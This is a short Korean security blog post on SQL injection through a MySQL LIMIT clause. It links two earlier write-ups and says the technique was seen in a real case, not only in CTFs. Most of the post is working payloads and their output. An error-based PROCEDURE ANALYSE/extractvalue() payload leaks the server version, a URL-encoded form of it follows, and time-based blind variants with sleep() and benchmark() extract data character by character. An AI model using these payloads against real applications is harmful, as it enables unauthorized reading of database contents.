https://tempuss.tistory.com/entry/Limit-%EC%A0%88%EC%97%90%EC%84%9C%EC%9D%98-SQL-Injection

 

Procedure analyse()를 이용한 SQL Injection

[LIMIT {[ offset ,] row_count | row_count OFFSET offset }] [PROCEDURE procedure_name ( argument_list )] [INTO OUTFILE ' file_name ' [CHARACTER SET charset_name ] export_options | INTO DUMPFILE ' fil..

tempuss.tistory.com

https://www.hides.kr/284

 

Limit 구문에서의 SQL Injection

rubiya의 LOS 를 풀다가 알게된 기법을 적으려 한다. 이 기법은 사용자의 입력값이 아래와 같이 LIMIT 절 다음에 들어갈 시 사용할 수 있는 취약점이다. SELECT * FROM member WHERE id='guest' LIMIT {user input..

www.hides.kr

참고

CTF가 아닌 현업에서 실제로 실행된 사례가 있어서 참고함

 

 

그중에서 사용되는 함수는 다양하지만

extractvalue()라는 함수가 있습니다.

 

mysql> SELECT * FROM user WHERE id='admin' limit 1 procedure analyse(extractvalue(1,concat(0x3a,version())),1); ERROR 1105 (HY000): XPATH syntax error: ':5.1.41-community' mysql>

 

이렇게 하면 version을 뽑을 수 있습니다.

그 외에도 information_schema에 접근하여 DB와 테이블명에 대해서도 뽑아 올 수 있습니다. 

 

쿼리)

procedure%20analyse(extractvalue(1,concat(0x3a,version())),1) 

 

 

- error base

mysql SELECT id FROM test WHERE id='admin' limit 0,1 procedure analyse(extractvalue(1, concat(0x3a, version())), 1);

ERROR 1105 (HY000): XPATH syntax error: ':5.1.41-community'

 

- blind

mysql > SELECT id FROM test WHERE id='admin' limit 0,1 procedure analyse(extractvalue(1, concat(0x3a, (if(mid(version(),1,1) like 5, sleep(5),1))), 1);

 

 

limit 1 procedure analyse(extractvalue(1,concat(0x3a,if(ascii(substr(version(),1,1))>10,sleep(1),0))),1);

-> Only constant XPATH queries are supported

sleep 함수대신 benchmark 함수를 써본다.

 

limit 1 procedure analyse(extractvalue(1,concat(0x3a,if(ascii(substr(version(),1,1))>10,benchmark(1000000,sha('a')),0))),1);

 

성공적으로 시간지연이 일어나고 한글자씩 추출해낼 수 있다.

 

 

'' 카테고리의 다른 글

Burp Suite 단축키 관련  (0) 2020.09.02
Spring mybatis SQL 인젝션 대응  (0) 2020.08.20
CORS (Cross Origin Resource Sharing)  (0) 2020.08.11
DNS Rebinding 을 이용한 우회  (0) 2020.08.10
Web Assembly 시작  (0) 2020.08.09
블로그 이미지

wtdsoul

,